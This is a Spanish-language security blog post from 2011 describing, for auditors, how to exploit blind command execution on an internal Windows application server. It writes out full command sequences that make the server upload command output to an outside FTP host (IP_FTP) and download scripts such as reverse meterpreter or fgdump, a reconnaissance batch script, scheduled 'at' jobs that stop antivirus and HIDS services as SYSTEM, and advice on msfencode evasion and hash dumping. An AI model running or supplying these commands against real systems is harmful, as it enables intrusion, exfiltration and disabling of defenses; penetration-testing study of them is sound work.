Bastionado, seguridad en sistemas: Ejecución de comandos sin acceso al servidor pre { background:#eeeeee; border:1px solid #A6B0BF; font-size:120%; line-height:100%; overflow:auto; padding:10px; color:#000000 } pre:hover { border:1px solid #efefef; } code { font-size:120%; text-align:left; margin:0;padding:0; color: #000000;} .clear { clear:both; overflow:hidden; }

Bienvenido al blog

Bienvenidos al blog de seguridad en sistemas

sábado, 26 de marzo de 2011

Ejecución de comandos sin acceso al servidor

El diseño de las plataformas Web evolucionan en función que aumentan la preocupación por la seguridad de estos entornos, siendo ya habitual encontrarse con plataformas dividididas en 3 bloques: servidor web, servidor de aplicaciones y base de datos.
  • El primer bloque es el servidor Web o Frontal Web cuyo puerto 80 o 443 es el único puerto accesible desde Internet. Contiene la parte estática de la Web.
  • El segundo bloque, y no accesible desde Internet, es el Servidor de Aplicaciones, el cual se encarga de ejecutar la parte dinámica de la web a petición del primer bloque.
  • El tercer bloque es la base de datos, consultada por el segundo bloque.
Suele ser bastante difícil encontrar vulnerabilidades en el frontal web, ya que estas suelen encontrarse en la parte dinámica de la web: el servidor de aplicaciones o la base de datos. El problema reside en que el auditor no tiene acceso directo sobre estos servidores, por ello aunque pudiéramos crearnos un usuario, no podríamos acceder al servidor y no obtendríamos ventaja de la vulnerabilidad.

De esta forma un auditor debe conocer una serie metodos o procedimientos para obtener ventaja al descubrir una vulnerabilidad en el servidor de aplicaciones que le permita ejecutar código en éste, ya sea por vulnerabilidad en el servidor o en el código. Veamos un diagrama ilustrativo:


Como vemos en el diagrama, es posible que podamos ejecutar comandos, pero carecemos de acceso directo al servidor desconociendo si realmente el entorno es vulnerable: necesitamos saber si realmente es vulnerable y alguna forma de obtener ventaja de esta vulnerabilidad.

Para ello todas las esperanzas residen en que el Firewall permita al servidor vulnerable acceder a Internet. En caso afirmativo nuestro objetivo será emplear alguna herramienta, que por defecto este en la mayoría de los servidores, que permita descargar y subir ficheros: el cliente FTP. Para el ejemplo de la entrada el servidor de aplicaciones será un Windows Server.

Nuestro objetivo será que de alguna forma ejecutar una orden en el servidor y que el resultado de ésta sea subida al FTP del auditor (Internet). Es importante que dicho FTP solo se inicie durante la auditoría y solo permitir la conexión desde la IP pública de la entidad que se está auditando.

La secuencia de comandos para ello consistirá en lanzar una serie de ordenes en el servidor web para que estas se ejecuten en el servidor de aplicaciones, es decir, aprovechar la vulnerabilidad del servidor. Primero se ejecutara una orden, volcando su resultado a un fichero "resultado.txt", posteriormente se creará una fichero "conexion.txt" de configuración de conexión a nuestro ftp y para finalizar se lanzara el cliente ftp para que suba a nuestro servidor ftp el resultado de la orden:
orden>resultado.txt
cmd /c echo open IP_FTP>conexion.txt
cmd /c echo user usuario contraseña>>conexion.txt
cmd /c echo put resultado.txt>>conexion.txt
cmd /c echo quit>>conexion.txt
ftp -n -s:conexion.txt
Una vez ejecutado esas 6 ordenes deberemos asegurarnos que hemos detectado tráfico al puerto 21 en nuestro servidor ftp, por ejemplo mediante un sniffer. En caso afirmativo el entorno es vulnerable ya que está ejecutando código y hemos obtenido el resultado de la orden.

De la misma forma que podemos ejecutar ordenes y almacenar los datos en un fichero que posteriormente es subido al FTP, también podríamos usarlo para descargarnos ficheros en el servidor vulnerable, especialmente: fgdump, meterpreter inverso o scripts vbs/bat.

Una vez disponemos de la capacidad de subir ficheros y descargar ficheros del servidor vulnerable necesitamos recopilar información del servidor, y para ello lo recomendable es usar scripts.

Primeramente nos crearemos un fichero que permita conectarse al servidor FTP y descargarse un "bat", ejecutando las siguientes ordenes en el servidor Web (y por tanto en el servidor de aplicaciones):
cmd /c echo open IP_FTP>conexion.txt
cmd /c echo user usuario contraseña>>conexion.txt
cmd /c echo get script.bat>>conexion.txt
cmd /c echo put resultado.txt>>conexion.txt
cmd /c echo quit>>conexion.txt
De esta forma con ejecutar únicamente la orden "ftp -n -s:conexion.txt" descargaremos el script de nuestro ftp y subiremos el resultado del anterior script. Por lo que podemos ir modificando el "script.bat" permitiendo recopilar información sin necesitadad de tener que reconstruir el fichero cada vez. Para ello los pasos recursivos serían los siguientes:

  1. Modificamos el script "script.bat" según requisitos.
  2. Ejecutamos la orden "ftp -n -s:conexion.txt" en el servidor web.
  3. Ejecutamos la orden "cmd /c script.bat" en el servidor web.

De esta forma ejecutando estas tres ordenes sobre el servidor de aplicaciones, a través del servidor web, seremos capaces de subir un script, ejecutarlo y obtener su resultado.

El siguiente paso consiste en identificar que información puede interesarnos. Lógicamente lo primero es conocer que usuario somos, en que directorio nos encontramos, que sistema está corriendo detras, si pertenemos a un DC, procesos, servicios, etc. Por ello creamos y ejecutaremos el siguiente "script.bat":
echo SO>resultado.txt
echo %OS%>>resultado.txt
echo Part Principal>>resultado.txt
echo %SYSTEMDRIVE%>>resultado.txt
echo Windows>>resultado.txt
echo %SYSTEMROOT%>>resultado.txt
echo Hostname>>resultado.txt
echo %COMPUTERNAME%>>resultado.txt
echo DC>>resultado.txt
echo %LOGONSERVER%>>resultado.txt
echo Usuario>>resultado.txt
echo %USERNAME%>>resultado.txt
echo Homepath>>resultado.txt
echo %HOMEPATH%>>resultado.txt
echo Fecha>>resultado.txt
echo %DATE%>>resultado.txt
echo Hora>>resultado.txt
echo %TIME%>>resultado.txt
time /T>>resultado.txt
echo Path>>resultado.txt
echo %PATH%>>resultado.txt
echo Lista procesos>>resultado.txt
tasklist>>resultado.txt
echo Lista servicios>>resultado.txt
sc query state= all>>resultado.txt
echo Configuracion red>>resultado.txt
ipconfig /all>>resultado.txt
echo Conexiones>>resultado.txt
netstat -nabo>>resultado.txt
echo ARP>>resultado.txt
arp -a>>resultado.txt
echo Compartido>>resultado.txt
net use>>resultado.txt
echo Directorio>>resultado.txt
dir>>resultado.txt
echo Usuarios>>resultado.txt
net user>>resultado.txt
echo Grupo>>resultado.txt
net localgroup>>resultado.txt
Con esta información ya sabemos lo principal del servidor, por lo que podemos proceder a la segunda fase respondiendo a la siguiente pregunta ¿que usuario somos?

Si no somos un usuario privilegiado el objetivo es realizar una escalada de privilegios a Administrador. Sí somos Administrador nuestro obejtivo será subir a SYSTEM para volcar la hash de usuarios y contraseñas, así como, para desplegar puertas traseras inversas, sniffer, escaneadores, pivoting etc.

El problema que nos encontraremos en esta situación es que el servidor presente un HIDS o un Antivirus que nos bloqueé tanto los exploits de escalada de privilejios como las herramientas indicadas con anterioridad. Para ello tenemos que servirnos de la información recopilada, donde se nos ha mostraba la lista de servicios y de procesos. Con ella deberemos identificar de que HIDS/ Antivirus se trata y desactivarlo, pero tened en cuenta que solo el usuario SYSTEM puede llevar a cabo dicha tarea. Es la pescadilla que se muerde la cola.

Para saltarse está restricción el auditor puede servirse de la herramienta "at", puesto que una tarea programada por el Administrador con "at" es ejecutada con privilegios del usuario SYSTEM. Pero cuidado, es importante que las tareas se deben repetir, ya que, normalmente los antivirus presentan más de un servicio donde uno de ellos (WatchDog) se encarga de levantar al resto de servicios. De esta forma puede ocurrir que mientras detengamos los otros servicios el WatchDog los este levantando, por lo que aunque detengamos el WatchDog, el resto de servicios hayan sido levantados previamente por este.

Por ello ejecutaremos un script de forma repetida, donde al disponer de la hora en el anterior "script.bat" sabremos a que hora debemos programarlo, en nuestro ejemplo las 17:20:
at 17:20 sc stop NombreServicio1
at 17:20 sc stop NombreServicio2
at 17:20 sc stop NombreServicio1
at 17:20 sc stop NombreServicio2
Una vez parado el antivirus / HIDS ya tendremos control total como SYSTEM del entorno, por lo que ya podremos realizar conexiones inversas, obtención de los hashes y pivotar desde el servidor vulnerable.

El único problemas que nos podemos encontrar es que se trate de un Windows 2008, ya que en estos entornos la herramienta "at" no se ejecutará como SYSTEM y por tanto no podremos detener el HIDS o el Antivirus.

Ante esto tenemos dos posibilidades, buscar una vulnerabilidad en el antivirus que permita detenerlo (hace unos meses se publico una para McAffe) o emplear un encode, por ejemplo mediante msfencode, para modificar el código y no sea detectado por el antivirus, es decir, código polimorfico: es lo mismo sumar a 0 5, que restar a 0 -5.

Sirva como apunte que si hemos sido capaces de acceder al entorno desde un escritorio remoto o de forma física, podemos usar el Rootkit Revealer para hacernos SYSTEM mediante la ejecución de una consola de comandos (cmd) desde el menú de ayuda, pero recordar que esta herramienta solo funciona en x86 y no en x86_64.

Con esto ya hemos puesto una de las múltiples formas de poder sacar ventaja ante una vulnerabilidad en un servidor al que no tenemos acceso directo, siempre claro está, se le permita al servidor acceder a internet.

PD: no sabía que título poner a esta entrada ya que es difícil de explicar en una sola frase. 
PD2: si alguien conoce otra forma de hacerse SYSTEM en Win2008 que permita saltarse el antivirus indicarlo :D
PD3: la idea fue tomada del análisis del malware ASN de mi compañero David Lladro.

No hay comentarios:

Publicar un comentario